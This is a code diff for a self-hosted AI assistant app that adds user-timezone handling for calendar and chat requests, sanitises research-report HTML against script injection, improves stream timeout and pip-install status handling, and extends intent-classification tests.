"manage_notes": "Create and manage notes and checklists (Google Keep-style). ALWAYS use this for note/todo/checklist/reminder creation — NEVER hit /api/notes via app_api. Accepts natural-language `due_date` like 'tomorrow at 9am' or '11pm today' (parsed in the USER'S timezone). The due_date IS the reminder — it fires a notification at that time, so do NOT also create a calendar event for the same reminder. Set colors, labels, pin, archive. Do NOT use manage_memory for note content.",
|
||||||
"manage_calendar": "Calendar event management: list, create, update, delete. Each event can carry a tag/category (event_type — work/personal/health/travel/meal/social/admin/other) and importance (low/normal/high/critical). Use ISO datetimes; supports all-day events. For event reminders/alarms, pass reminder_minutes; this creates the Notes reminder, so do not also call manage_notes for the same reminder.",
|
"manage_calendar": "Calendar event management: list, create, update, delete. Each event can carry a tag/category (event_type — work/personal/health/travel/meal/social/admin/other) and importance (low/normal/high/critical). Resolve today/tomorrow using the Current date and time context, then use ISO datetimes in the user's local wall time; supports all-day events. For event reminders/alarms, pass reminder_minutes; this creates the Notes reminder, so do not also call manage_notes for the same reminder.",
|
||||||
"download_model": "Download a HuggingFace model to a local or remote server. Specify repo_id (e.g. 'Qwen/Qwen3-8B'), optional server host, and optional include filter for specific files.",
|
"download_model": "Download a HuggingFace model to a local or remote server. Specify repo_id (e.g. 'Qwen/Qwen3-8B'), optional server host, and optional include filter for specific files.",
|
||||||
"serve_model": "Start serving a model with vLLM, SGLang, llama.cpp, Ollama, or Diffusers. cmd MUST start with the binary directly — e.g. `vllm serve /mnt/HADES/models/Qwen3.5-397B-A17B-AWQ --port 8003 --tensor-parallel-size 8 …`. NEVER prefix with `cd …`, `source …`, or chain with `&&`/`||` — those get rejected by the validator. The venv activation (env_prefix) and CUDA env are added automatically from the target host's saved settings. For image/inpainting/diffusion use python3 scripts/diffusion_server.py --model <repo> --port 8100. After launch, call list_served_models for readiness/errors and retry suggestions. If serve_model fails with 'Invalid characters in cmd', simplify to the bare binary + args.",
|
"serve_model": "Start serving a model with vLLM, SGLang, llama.cpp, Ollama, or Diffusers. cmd MUST start with the binary directly — e.g. `vllm serve /mnt/HADES/models/Qwen3.5-397B-A17B-AWQ --port 8003 --tensor-parallel-size 8 …`. NEVER prefix with `cd …`, `source …`, or chain with `&&`/`||` — those get rejected by the validator. The venv activation (env_prefix) and CUDA env are added automatically from the target host's saved settings. For image/inpainting/diffusion use python3 scripts/diffusion_server.py --model <repo> --port 8100. After launch, call list_served_models for readiness/errors and retry suggestions. If serve_model fails with 'Invalid characters in cmd', simplify to the bare binary + args.",
|
||||||
"list_served_models": "List currently running model servers in the Cookbook — shows status (loading, ready, idle, error), model name, port, throughput, and serve failure diagnosis/retry suggestions. Use when the user asks 'what's running', 'show my cookbook', 'which models are up', 'what's serving'.",
|
"list_served_models": "List currently running model servers in the Cookbook — shows status (loading, ready, idle, error), model name, port, throughput, and serve failure diagnosis/retry suggestions. Use when the user asks 'what's running', 'show my cookbook', 'which models are up', 'what's serving'.",
|
||||||
|
|||||||
+1
-1
@@ -422,7 +422,7 @@ FUNCTION_TOOL_SCHEMAS = [
|
|||||||
"type": "function",
|
"type": "function",
|
||||||
"function": {
|
"function": {
|
||||||
"name": "manage_calendar",
|
"name": "manage_calendar",
|
||||||
"description": "Manage calendar events: list events in a date range, create, update, delete. Each event can carry a tag/category (event_type) and importance level. Use ISO 8601 datetimes; for all-day events set all_day=true and pass YYYY-MM-DD. For event reminders/alarms, pass reminder_minutes; the tool creates the Odysseus note reminder, so do not also call manage_notes for the same reminder.",
|
"description": "Manage calendar events: list events in a date range, create, update, delete. Each event can carry a tag/category (event_type) and importance level. Resolve relative dates like today/tomorrow against the 'Current date and time' system context, then pass ISO 8601 datetimes in the user's local wall time; for all-day events set all_day=true and pass YYYY-MM-DD. For event reminders/alarms, pass reminder_minutes; the tool creates the Odysseus note reminder, so do not also call manage_notes for the same reminder.",
|
||||||
"parameters": {
|
"parameters": {
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": {
|
"properties": {
|
||||||
|
|||||||
@@ -0,0 +1,138 @@
|
|||||||
|
"""Per-request user-local time helpers.
|
||||||
|
|
||||||
|
Chat routes set this context from browser headers. Prompt builders and tools
|
||||||
|
can then resolve relative dates against the user's clock instead of the server.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import re
|
||||||
|
from contextvars import ContextVar
|
||||||
|
from datetime import datetime, timedelta, timezone
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
|
||||||
|
_USER_TZ_OFFSET_MIN: ContextVar[Optional[int]] = ContextVar("user_tz_offset_min", default=None)
|
||||||
|
_USER_TZ_NAME: ContextVar[Optional[str]] = ContextVar("user_tz_name", default=None)
|
||||||
|
|
||||||
|
|
||||||
|
def set_user_tz_offset(offset_min) -> None:
|
||||||
|
"""Set the current user's UTC offset in minutes east of UTC."""
|
||||||
|
if offset_min in (None, ""):
|
||||||
|
_USER_TZ_OFFSET_MIN.set(None)
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
value = int(offset_min)
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
return
|
||||||
|
if -14 * 60 <= value <= 14 * 60:
|
||||||
|
_USER_TZ_OFFSET_MIN.set(value)
|
||||||
|
|
||||||
|
|
||||||
|
def get_user_tz_offset() -> Optional[int]:
|
||||||
|
"""Return minutes east of UTC for the current user, if known."""
|
||||||
|
return _USER_TZ_OFFSET_MIN.get()
|
||||||
|
|
||||||
|
|
||||||
|
def set_user_tz_name(name) -> None:
|
||||||
|
"""Set a safe IANA timezone label for the current request context."""
|
||||||
|
if not name:
|
||||||
|
_USER_TZ_NAME.set(None)
|
||||||
|
return
|
||||||
|
first_token = str(name).strip().split()[0] if str(name).strip() else ""
|
||||||
|
cleaned = re.sub(r"[^A-Za-z0-9_+\-./]", "", first_token)[:80]
|
||||||
|
_USER_TZ_NAME.set(cleaned or None)
|
||||||
|
|
||||||
|
|
||||||
|
def get_user_tz_name() -> Optional[str]:
|
||||||
|
"""Return the current user's browser timezone name, if provided."""
|
||||||
|
return _USER_TZ_NAME.get()
|
||||||
|
|
||||||
|
|
||||||
|
def clear_user_time_context() -> None:
|
||||||
|
"""Clear user-local time context for tests and non-browser entry points."""
|
||||||
|
_USER_TZ_OFFSET_MIN.set(None)
|
||||||
|
_USER_TZ_NAME.set(None)
|
||||||
|
|
||||||
|
|
||||||
|
def format_utc_offset(offset_min: Optional[int]) -> str:
|
||||||
|
"""Format minutes east of UTC as +HH:MM or -HH:MM."""
|
||||||
|
if offset_min is None:
|
||||||
|
offset_min = 0
|
||||||
|
sign = "+" if offset_min >= 0 else "-"
|
||||||
|
total = abs(int(offset_min))
|
||||||
|
hours, minutes = divmod(total, 60)
|
||||||
|
return f"{sign}{hours:02d}:{minutes:02d}"
|
||||||
|
|
||||||
|
|
||||||
|
def user_timezone() -> timezone:
|
||||||
|
"""Return the best known user timezone as a fixed-offset tzinfo."""
|
||||||
|
offset = get_user_tz_offset()
|
||||||
|
if offset is None:
|
||||||
|
name = get_user_tz_name()
|
||||||
|
if name:
|
||||||
|
try:
|
||||||
|
from zoneinfo import ZoneInfo
|
||||||
|
return ZoneInfo(name)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return datetime.now().astimezone().tzinfo or timezone.utc
|
||||||
|
return timezone(timedelta(minutes=offset))
|
||||||
|
|
||||||
|
|
||||||
|
def now_user_local(now_utc: Optional[datetime] = None) -> datetime:
|
||||||
|
"""Return the current time in the user's timezone."""
|
||||||
|
if now_utc is None:
|
||||||
|
now_utc = datetime.now(timezone.utc)
|
||||||
|
elif now_utc.tzinfo is None:
|
||||||
|
now_utc = now_utc.replace(tzinfo=timezone.utc)
|
||||||
|
return now_utc.astimezone(user_timezone())
|
||||||
|
|
||||||
|
|
||||||
|
def _date_label(dt: datetime) -> str:
|
||||||
|
return f"{dt.strftime('%A')}, {dt.strftime('%B')} {dt.day}, {dt.year}"
|
||||||
|
|
||||||
|
|
||||||
|
def _clock_label(dt: datetime) -> str:
|
||||||
|
hour = dt.hour % 12 or 12
|
||||||
|
return f"{hour}:{dt.minute:02d} {dt.strftime('%p')}"
|
||||||
|
|
||||||
|
|
||||||
|
def timezone_label(dt: Optional[datetime] = None) -> str:
|
||||||
|
"""Return a concise display label such as Australia/Brisbane, UTC+10:00."""
|
||||||
|
offset = get_user_tz_offset()
|
||||||
|
if offset is None:
|
||||||
|
if dt is None:
|
||||||
|
dt = datetime.now().astimezone()
|
||||||
|
offset = int((dt.utcoffset() or timedelta()).total_seconds() // 60)
|
||||||
|
offset_label = f"UTC{format_utc_offset(offset)}"
|
||||||
|
name = get_user_tz_name()
|
||||||
|
return f"{name}, {offset_label}" if name else offset_label
|
||||||
|
|
||||||
|
|
||||||
|
def current_datetime_prompt(now_utc: Optional[datetime] = None) -> str:
|
||||||
|
"""Build reusable system prompt text for date/time reasoning."""
|
||||||
|
if now_utc is None:
|
||||||
|
utc_now = datetime.now(timezone.utc)
|
||||||
|
elif now_utc.tzinfo is None:
|
||||||
|
utc_now = now_utc.replace(tzinfo=timezone.utc)
|
||||||
|
else:
|
||||||
|
utc_now = now_utc.astimezone(timezone.utc)
|
||||||
|
|
||||||
|
local_now = now_user_local(utc_now)
|
||||||
|
tomorrow = local_now + timedelta(days=1)
|
||||||
|
return (
|
||||||
|
"## Current date and time\n"
|
||||||
|
f"Today is {_date_label(local_now)} ({local_now.strftime('%Y-%m-%d')}). "
|
||||||
|
f"User local time is {_clock_label(local_now)} ({timezone_label(local_now)}); "
|
||||||
|
f"current UTC time is {utc_now.strftime('%H:%M')}.\n"
|
||||||
|
f"Tomorrow is {_date_label(tomorrow)} ({tomorrow.strftime('%Y-%m-%d')}) "
|
||||||
|
"in the user's local timezone.\n"
|
||||||
|
"Use this for any 'today', 'tomorrow', 'tonight', 'this week', or other "
|
||||||
|
"relative-date reasoning. Do not ask for an exact date just because the "
|
||||||
|
"user used a relative date.\n"
|
||||||
|
"When scheduling calendar events with manage_calendar, pass local ISO "
|
||||||
|
"datetimes resolved against this user-local date/time.\n"
|
||||||
|
"When scheduling a task with manage_tasks, scheduled_time is in UTC: "
|
||||||
|
"convert the user's stated local time using the UTC offset above.\n\n"
|
||||||
|
)
|
||||||
+35
-2
@@ -25,9 +25,27 @@ from src.research_utils import strip_thinking
|
|||||||
from urllib.parse import urlparse
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
import markdown
|
import markdown
|
||||||
|
import nh3
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
# Tags/attributes permitted in rendered research-report HTML. Starts from nh3's
|
||||||
|
# safe defaults (which drop <script>, inline event handlers, and javascript:
|
||||||
|
# URLs) and adds back only the formatting the report itself emits: the
|
||||||
|
# collapsible raw-findings block (<details>/<summary>), heading anchors for the
|
||||||
|
# table of contents (id), codehilite classes, table alignment, and the
|
||||||
|
# target/rel that _md_to_html puts on external links.
|
||||||
|
_REPORT_ALLOWED_TAGS = set(nh3.ALLOWED_TAGS) | {"details", "summary"}
|
||||||
|
_REPORT_ALLOWED_ATTRS = {k: set(v) for k, v in nh3.ALLOWED_ATTRIBUTES.items()}
|
||||||
|
for _h in ("h1", "h2", "h3", "h4", "h5", "h6"):
|
||||||
|
_REPORT_ALLOWED_ATTRS.setdefault(_h, set()).add("id")
|
||||||
|
for _t in ("span", "code", "pre", "div", "table", "td", "th"):
|
||||||
|
_REPORT_ALLOWED_ATTRS.setdefault(_t, set()).add("class")
|
||||||
|
for _t in ("td", "th"):
|
||||||
|
_REPORT_ALLOWED_ATTRS.setdefault(_t, set()).add("align")
|
||||||
|
_REPORT_ALLOWED_ATTRS.setdefault("a", set()).update({"href", "title", "target", "rel"})
|
||||||
|
_REPORT_ALLOWED_ATTRS.setdefault("img", set()).update({"src", "alt", "title"})
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
# Helpers
|
# Helpers
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
@@ -48,7 +66,14 @@ def _autolink_urls(md_text: str) -> str:
|
|||||||
|
|
||||||
|
|
||||||
def _md_to_html(md_text: str) -> str:
|
def _md_to_html(md_text: str) -> str:
|
||||||
"""Convert markdown to HTML with common extensions."""
|
"""Convert markdown to HTML with common extensions.
|
||||||
|
|
||||||
|
Research-report markdown is assembled from LLM output over crawled web
|
||||||
|
pages (untrusted content), and report pages are served under a relaxed
|
||||||
|
`script-src 'unsafe-inline'` CSP. python-markdown passes raw HTML through
|
||||||
|
verbatim, so the rendered output is allowlist-sanitized to strip any
|
||||||
|
<script>/inline-event-handler/javascript: markup before it reaches the page.
|
||||||
|
"""
|
||||||
md_text = _autolink_urls(md_text)
|
md_text = _autolink_urls(md_text)
|
||||||
result = markdown.markdown(
|
result = markdown.markdown(
|
||||||
md_text,
|
md_text,
|
||||||
@@ -64,6 +89,14 @@ def _md_to_html(md_text: str) -> str:
|
|||||||
r'<a target="_blank" rel="noopener noreferrer" href="\1',
|
r'<a target="_blank" rel="noopener noreferrer" href="\1',
|
||||||
result,
|
result,
|
||||||
)
|
)
|
||||||
|
# Sanitize: report content is untrusted and the report CSP allows inline
|
||||||
|
# scripts, so strip active content while keeping the formatting above.
|
||||||
|
result = nh3.clean(
|
||||||
|
result,
|
||||||
|
tags=_REPORT_ALLOWED_TAGS,
|
||||||
|
attributes=_REPORT_ALLOWED_ATTRS,
|
||||||
|
link_rel=None,
|
||||||
|
)
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
@@ -1864,7 +1897,7 @@ def generate_visual_report(
|
|||||||
restore_btn_html=restore_btn_html,
|
restore_btn_html=restore_btn_html,
|
||||||
timestamp=timestamp,
|
timestamp=timestamp,
|
||||||
category_css=_category_css(category),
|
category_css=_category_css(category),
|
||||||
body_class=f"category-{category}" if category else "",
|
body_class=f"category-{html.escape(str(category))}" if category else "",
|
||||||
session_id_js=json_dumps_str(session_id or ""),
|
session_id_js=json_dumps_str(session_id or ""),
|
||||||
spare_images_js=_json_for_script(spare_images),
|
spare_images_js=_json_for_script(spare_images),
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -1876,11 +1876,12 @@ function _wireAll(body) {
|
|||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
const tz = Intl.DateTimeFormat().resolvedOptions().timeZone || '';
|
const tz = Intl.DateTimeFormat().resolvedOptions().timeZone || '';
|
||||||
|
const tzOffset = -new Date().getTimezoneOffset();
|
||||||
const res = await fetch(`${API_BASE}/api/calendar/quick-parse`, {
|
const res = await fetch(`${API_BASE}/api/calendar/quick-parse`, {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
credentials: 'same-origin',
|
credentials: 'same-origin',
|
||||||
headers: { 'Content-Type': 'application/json' },
|
headers: { 'Content-Type': 'application/json' },
|
||||||
body: JSON.stringify({ text, tz }),
|
body: JSON.stringify({ text, tz, tz_offset: tzOffset }),
|
||||||
});
|
});
|
||||||
const data = await res.json().catch(() => ({}));
|
const data = await res.json().catch(() => ({}));
|
||||||
if (!res.ok || !data.ok) {
|
if (!res.ok || !data.ok) {
|
||||||
|
|||||||
+26
-5
@@ -530,6 +530,9 @@ import createResearchSynapse from './researchSynapse.js';
|
|||||||
let _renderStream = () => {};
|
let _renderStream = () => {};
|
||||||
let _cancelThinkingTimer = () => {};
|
let _cancelThinkingTimer = () => {};
|
||||||
let _removeThinkingSpinner = () => {};
|
let _removeThinkingSpinner = () => {};
|
||||||
|
let timeoutId = null;
|
||||||
|
let responseTimeoutCleared = false;
|
||||||
|
let clearResponseTimeout = () => {};
|
||||||
const clearProcessingProbe = () => {
|
const clearProcessingProbe = () => {
|
||||||
if (processingProbeTimer) {
|
if (processingProbeTimer) {
|
||||||
clearTimeout(processingProbeTimer);
|
clearTimeout(processingProbeTimer);
|
||||||
@@ -790,13 +793,26 @@ import createResearchSynapse from './researchSynapse.js';
|
|||||||
|
|
||||||
// Timeout: 6 min for research and agent mode, 3 min otherwise
|
// Timeout: 6 min for research and agent mode, 3 min otherwise
|
||||||
const timeoutMs = el('research-toggle').checked || _isAgent ? RESEARCH_TIMEOUT_MS : DEFAULT_TIMEOUT_MS;
|
const timeoutMs = el('research-toggle').checked || _isAgent ? RESEARCH_TIMEOUT_MS : DEFAULT_TIMEOUT_MS;
|
||||||
const timeoutId = setTimeout(() => {
|
timeoutId = setTimeout(() => {
|
||||||
if (!abortCtrl.signal.aborted) {
|
if (!abortCtrl.signal.aborted) {
|
||||||
timedOut = true;
|
timedOut = true;
|
||||||
abortCtrl._reason = 'timeout';
|
abortCtrl._reason = 'timeout';
|
||||||
|
try {
|
||||||
|
if (streamSessionId) {
|
||||||
|
fetch(`/api/chat/stop/${encodeURIComponent(streamSessionId)}`, {
|
||||||
|
method: 'POST',
|
||||||
|
credentials: 'same-origin',
|
||||||
|
}).catch(() => {});
|
||||||
|
}
|
||||||
|
} catch (_) {}
|
||||||
abortCtrl.abort();
|
abortCtrl.abort();
|
||||||
}
|
}
|
||||||
}, timeoutMs);
|
}, timeoutMs);
|
||||||
|
clearResponseTimeout = () => {
|
||||||
|
if (responseTimeoutCleared) return;
|
||||||
|
responseTimeoutCleared = true;
|
||||||
|
clearTimeout(timeoutId);
|
||||||
|
};
|
||||||
|
|
||||||
const box = el('chat-history');
|
const box = el('chat-history');
|
||||||
holder = document.createElement('div');
|
holder = document.createElement('div');
|
||||||
@@ -922,16 +938,19 @@ import createResearchSynapse from './researchSynapse.js';
|
|||||||
// the agent so natural-language times like "today at 9pm" are
|
// the agent so natural-language times like "today at 9pm" are
|
||||||
// interpreted in YOUR timezone, not the server's.
|
// interpreted in YOUR timezone, not the server's.
|
||||||
const _tzOffsetMin = -new Date().getTimezoneOffset();
|
const _tzOffsetMin = -new Date().getTimezoneOffset();
|
||||||
|
const _tzName = (() => {
|
||||||
|
try { return Intl.DateTimeFormat().resolvedOptions().timeZone || ''; }
|
||||||
|
catch { return ''; }
|
||||||
|
})();
|
||||||
const res = await fetch(`${API_BASE}/api/chat_stream`, {
|
const res = await fetch(`${API_BASE}/api/chat_stream`, {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: fd,
|
body: fd,
|
||||||
headers: { 'X-Tz-Offset': String(_tzOffsetMin) },
|
headers: { 'X-Tz-Offset': String(_tzOffsetMin), 'X-Tz-Name': _tzName },
|
||||||
signal: abortCtrl.signal
|
signal: abortCtrl.signal
|
||||||
});
|
});
|
||||||
|
|
||||||
clearTimeout(timeoutId);
|
|
||||||
|
|
||||||
if (!res.ok) {
|
if (!res.ok) {
|
||||||
|
clearResponseTimeout();
|
||||||
if (res.status === 404) {
|
if (res.status === 404) {
|
||||||
// Session was deleted (e.g. by AI) — reload and go to welcome
|
// Session was deleted (e.g. by AI) — reload and go to welcome
|
||||||
holder.remove();
|
holder.remove();
|
||||||
@@ -1359,7 +1378,8 @@ import createResearchSynapse from './researchSynapse.js';
|
|||||||
typewriterInto(roundHolder.querySelector('.body'), errMsg);
|
typewriterInto(roundHolder.querySelector('.body'), errMsg);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
if (json.delta || json.type === 'tool_start' || json.type === 'agent_step' || json.type === 'doc_stream_delta') {
|
if (json.delta || json.type === 'tool_start' || json.type === 'tool_output' || json.type === 'tool_progress' || json.type === 'agent_step' || json.type === 'doc_stream_open' || json.type === 'doc_stream_delta' || json.type === 'research_progress') {
|
||||||
|
clearResponseTimeout();
|
||||||
clearProcessingProbe();
|
clearProcessingProbe();
|
||||||
}
|
}
|
||||||
if (json.delta) {
|
if (json.delta) {
|
||||||
@@ -2710,6 +2730,7 @@ import createResearchSynapse from './researchSynapse.js';
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
} finally {
|
} finally {
|
||||||
|
clearResponseTimeout();
|
||||||
clearProcessingProbe();
|
clearProcessingProbe();
|
||||||
// Streaming done — let screen readers announce the settled response.
|
// Streaming done — let screen readers announce the settled response.
|
||||||
const _chatLogDone = document.getElementById('chat-history');
|
const _chatLogDone = document.getElementById('chat-history');
|
||||||
|
|||||||
@@ -66,6 +66,23 @@ function _clearPillLabel(task) {
|
|||||||
return 'clear';
|
return 'clear';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A pip dependency/driver install (payload._dep) reports success with the
|
||||||
|
// runner's "=== Process exited with code 0 ===" sentinel and pip's
|
||||||
|
// "Successfully installed" line — never the HuggingFace download markers
|
||||||
|
// (DONE / 100% / /snapshots/ / DOWNLOAD_OK) that the download heuristics look
|
||||||
|
// for. Without this, a clean install whose tmux pane has already gone away is
|
||||||
|
// misread as crashed/stopped even though pip exited 0. Prefer the authoritative
|
||||||
|
// exit-code sentinel; fall back to pip's success line when no sentinel was
|
||||||
|
// captured (and there's no install error in the same output).
|
||||||
|
function _depInstallSucceeded(output) {
|
||||||
|
const text = String(output || '');
|
||||||
|
if (!text) return false;
|
||||||
|
const exitMatch = text.match(/=== Process exited with code (-?\d+) ===/);
|
||||||
|
if (exitMatch) return Number(exitMatch[1]) === 0;
|
||||||
|
return /\b(?:Successfully installed|Requirement already satisfied)\b/.test(text)
|
||||||
|
&& !/\bERROR\b|No matching distribution|Could not find a version|Traceback \(most recent call last\)/.test(text);
|
||||||
|
}
|
||||||
|
|
||||||
function _shouldOfferCrashReport(task) {
|
function _shouldOfferCrashReport(task) {
|
||||||
if (!task) return false;
|
if (!task) return false;
|
||||||
if (task._unreachable && task.type === 'serve') return true;
|
if (task._unreachable && task.type === 'serve') return true;
|
||||||
@@ -2495,9 +2512,15 @@ async function _reconnectTask(el, task) {
|
|||||||
&& /Successfully installed|Requirement already (?:satisfied|up-to-date)/i.test(lastOutput)
|
&& /Successfully installed|Requirement already (?:satisfied|up-to-date)/i.test(lastOutput)
|
||||||
&& !/error:|ERROR:/.test(lastOutput.slice(-1024));
|
&& !/error:|ERROR:/.test(lastOutput.slice(-1024));
|
||||||
const serveLooksReady = task.type === 'serve' && _serveOutputLooksReady({ ...task, output: lastOutput });
|
const serveLooksReady = task.type === 'serve' && _serveOutputLooksReady({ ...task, output: lastOutput });
|
||||||
const looksSuccessful = task.type === 'download'
|
// Dependency installs are tracked as download tasks but finish with a
|
||||||
|
// pip exit-0 sentinel, not HF download markers — check that too.
|
||||||
|
// Standalone pip-* serves finish with pip's own success line, not
|
||||||
|
// HF or "Uvicorn running on".
|
||||||
|
const depInstallSucceeded = !!task.payload?._dep && _depInstallSucceeded(lastOutput);
|
||||||
|
const looksSuccessful = depInstallSucceeded
|
||||||
|
|| (task.type === 'download'
|
||||||
? downloadLooksSuccessful
|
? downloadLooksSuccessful
|
||||||
: (_isPipTask ? pipLooksSuccessful : serveLooksReady);
|
: (_isPipTask ? pipLooksSuccessful : serveLooksReady));
|
||||||
if (!lastOutput.trim() || !looksSuccessful) {
|
if (!lastOutput.trim() || !looksSuccessful) {
|
||||||
_updateTask(task.sessionId, { status: 'crashed' });
|
_updateTask(task.sessionId, { status: 'crashed' });
|
||||||
el.dataset.status = 'crashed';
|
el.dataset.status = 'crashed';
|
||||||
@@ -3411,11 +3434,18 @@ async function _pollBackgroundStatus() {
|
|||||||
const live = statusById.get(task.sessionId);
|
const live = statusById.get(task.sessionId);
|
||||||
if (!live) continue;
|
if (!live) continue;
|
||||||
const updates = {};
|
const updates = {};
|
||||||
|
// A finished dependency install whose tmux pane is gone is reported
|
||||||
|
// "stopped" by the backend (its pip package is never in the HF cache the
|
||||||
|
// dead-session check inspects). Recover "done" from the retained output's
|
||||||
|
// exit-0 sentinel so a clean install isn't downgraded to crashed.
|
||||||
|
const depDone = !!task.payload?._dep && _depInstallSucceeded(task.output);
|
||||||
const nextStatus = live.status === 'completed'
|
const nextStatus = live.status === 'completed'
|
||||||
? 'done'
|
? 'done'
|
||||||
: (live.status === 'error'
|
: (live.status === 'error'
|
||||||
? 'error'
|
? 'error'
|
||||||
: (live.status === 'stopped' ? (task.type === 'download' ? 'crashed' : 'stopped') : null));
|
: (live.status === 'stopped'
|
||||||
|
? (depDone ? 'done' : (task.type === 'download' ? 'crashed' : 'stopped'))
|
||||||
|
: null));
|
||||||
if (nextStatus && task.status !== nextStatus) {
|
if (nextStatus && task.status !== nextStatus) {
|
||||||
updates.status = nextStatus;
|
updates.status = nextStatus;
|
||||||
if (nextStatus === 'done' && task.payload?._dep) completedDeps.push(task);
|
if (nextStatus === 'done' && task.payload?._dep) completedDeps.push(task);
|
||||||
|
|||||||
@@ -8554,6 +8554,9 @@ import * as Modals from './modalManager.js';
|
|||||||
if (window.hljs) {
|
if (window.hljs) {
|
||||||
preview.querySelectorAll('pre code').forEach(b => window.hljs.highlightElement(b));
|
preview.querySelectorAll('pre code').forEach(b => window.hljs.highlightElement(b));
|
||||||
}
|
}
|
||||||
|
if (markdownModule && markdownModule.renderMermaid) {
|
||||||
|
markdownModule.renderMermaid(preview);
|
||||||
|
}
|
||||||
preview.style.display = '';
|
preview.style.display = '';
|
||||||
wrap.style.display = 'none';
|
wrap.style.display = 'none';
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -17,6 +17,10 @@ let API_BASE = '';
|
|||||||
let _uploadSpinners = [];
|
let _uploadSpinners = [];
|
||||||
const _previewUrls = new WeakMap();
|
const _previewUrls = new WeakMap();
|
||||||
|
|
||||||
|
const MAX_FILES = 10;
|
||||||
|
const MAX_VISIBLE = 3;
|
||||||
|
let _expanded = false;
|
||||||
|
|
||||||
function _getPreviewUrl(f) {
|
function _getPreviewUrl(f) {
|
||||||
if (!f) return '';
|
if (!f) return '';
|
||||||
let url = _previewUrls.get(f);
|
let url = _previewUrls.get(f);
|
||||||
@@ -49,10 +53,6 @@ export function openPicker() {
|
|||||||
document.getElementById('file-input').click();
|
document.getElementById('file-input').click();
|
||||||
}
|
}
|
||||||
|
|
||||||
const MAX_VISIBLE = 3;
|
|
||||||
const MAX_EXPAND = 6; // beyond this, the badge stays collapsed (too many chips to preview)
|
|
||||||
let _expanded = false;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Render the attachment strip with pending files.
|
* Render the attachment strip with pending files.
|
||||||
* 1-3 files: show individual chips.
|
* 1-3 files: show individual chips.
|
||||||
@@ -80,11 +80,9 @@ export function renderAttachStrip() {
|
|||||||
label.className = 'thumb-collapsed-label';
|
label.className = 'thumb-collapsed-label';
|
||||||
badge.appendChild(label);
|
badge.appendChild(label);
|
||||||
badge.title = pendingFiles.map(f => f.name || 'pasted-image').join('\n');
|
badge.title = pendingFiles.map(f => f.name || 'pasted-image').join('\n');
|
||||||
const canExpand = total <= MAX_EXPAND;
|
badge.style.cursor = 'pointer';
|
||||||
badge.style.cursor = canExpand ? 'pointer' : 'default';
|
|
||||||
badge.addEventListener('click', (e) => {
|
badge.addEventListener('click', (e) => {
|
||||||
if (e.target.closest('.thumb-collapsed-x')) return;
|
if (e.target.closest('.thumb-collapsed-x')) return;
|
||||||
if (!canExpand) return; // too many files — don't expand into chips
|
|
||||||
_expanded = true;
|
_expanded = true;
|
||||||
renderAttachStrip();
|
renderAttachStrip();
|
||||||
});
|
});
|
||||||
@@ -201,8 +199,6 @@ export async function uploadPending() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
const MAX_FILES = 10;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Add files to pending list (capped at MAX_FILES)
|
* Add files to pending list (capped at MAX_FILES)
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -1,14 +1,26 @@
|
|||||||
from src.action_intents import message_needs_tools
|
from src.action_intents import classify_tool_intent, message_needs_tools
|
||||||
|
|
||||||
|
|
||||||
def test_calendar_entry_request_promotes_to_agent():
|
def test_calendar_entry_request_promotes_to_agent():
|
||||||
assert message_needs_tools("Can you add an entry to my calendar?")
|
assert message_needs_tools("Can you add an entry to my calendar?")
|
||||||
|
intent = classify_tool_intent("Can you add an entry to my calendar?")
|
||||||
|
assert intent.needs_tools
|
||||||
|
assert intent.category == "calendar"
|
||||||
|
|
||||||
|
|
||||||
def test_calendar_imperative_variants_promote_to_agent():
|
def test_calendar_imperative_variants_promote_to_agent():
|
||||||
assert message_needs_tools("add lunch with Sam to my calendar tomorrow at noon")
|
assert message_needs_tools("add lunch with Sam to my calendar tomorrow at noon")
|
||||||
assert message_needs_tools("schedule a call with Mina next Friday")
|
assert message_needs_tools("schedule a call with Mina next Friday")
|
||||||
assert message_needs_tools("put dentist appointment on my calendar")
|
assert message_needs_tools("put dentist appointment on my calendar")
|
||||||
|
assert message_needs_tools("Alright. Recreate that same appointment")
|
||||||
|
assert message_needs_tools("Okay delete that doctor appointment from the calendar")
|
||||||
|
assert message_needs_tools("have another go at adding a test entry to the calendar")
|
||||||
|
assert message_needs_tools(
|
||||||
|
"Okay so you should be able to create that calendar event for tomorrow at 1:30 p.m. right for me to go to the hardware store"
|
||||||
|
)
|
||||||
|
assert message_needs_tools(
|
||||||
|
"make it an appointment at 12pm for me to visit the doctor it's tomorrow the 2nd of June 2026"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_note_todo_and_reminder_actions_promote_to_agent():
|
def test_note_todo_and_reminder_actions_promote_to_agent():
|
||||||
@@ -33,3 +45,12 @@ def test_explanatory_calendar_questions_stay_plain_chat():
|
|||||||
assert not message_needs_tools("How do I add an entry to my calendar?")
|
assert not message_needs_tools("How do I add an entry to my calendar?")
|
||||||
assert not message_needs_tools("What about the built-in Odysseus calendar, is that linked to email?")
|
assert not message_needs_tools("What about the built-in Odysseus calendar, is that linked to email?")
|
||||||
assert not message_needs_tools("Can you explain how calendar reminders work?")
|
assert not message_needs_tools("Can you explain how calendar reminders work?")
|
||||||
